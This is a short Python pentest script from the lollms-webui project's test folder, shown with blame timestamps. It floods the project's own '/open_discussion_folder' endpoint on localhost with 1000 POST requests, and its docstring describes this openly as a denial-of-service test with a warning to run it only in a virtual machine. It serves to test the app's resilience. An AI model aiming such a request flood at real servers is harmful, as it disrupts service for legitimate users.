lollms-webui/tests/pentests/service_denial/test_service_denial.py

18 lines
677 B
Python
Raw Normal View History

2024-02-15 20:47:24 +00:00
'''
This python script is performing a Denial of Service (DoS) attack on your endpoint.
2024-05-02 22:58:18 +00:00
It is creating a large number of requests (1000 in this case) to the '/open_discussion_folder' API endpoint of your server.
2024-02-15 20:47:24 +00:00
This could potentially overload your server, making it unable to serve normal, legitimate requests.
Please make sure you test this only on a virtual machine since it can overload your own PC and crush it
'''
import requests
IP_ADDRESS = "localhost"
PORT = 9600
for i in range(1000):
data = {
"discussion_id":f"{i}",
}
2024-05-02 22:58:18 +00:00
response = requests.post(f"http://{IP_ADDRESS}:{str(PORT)}/open_discussion_folder", json=data)
2024-02-15 20:47:24 +00:00
print(i, response.json())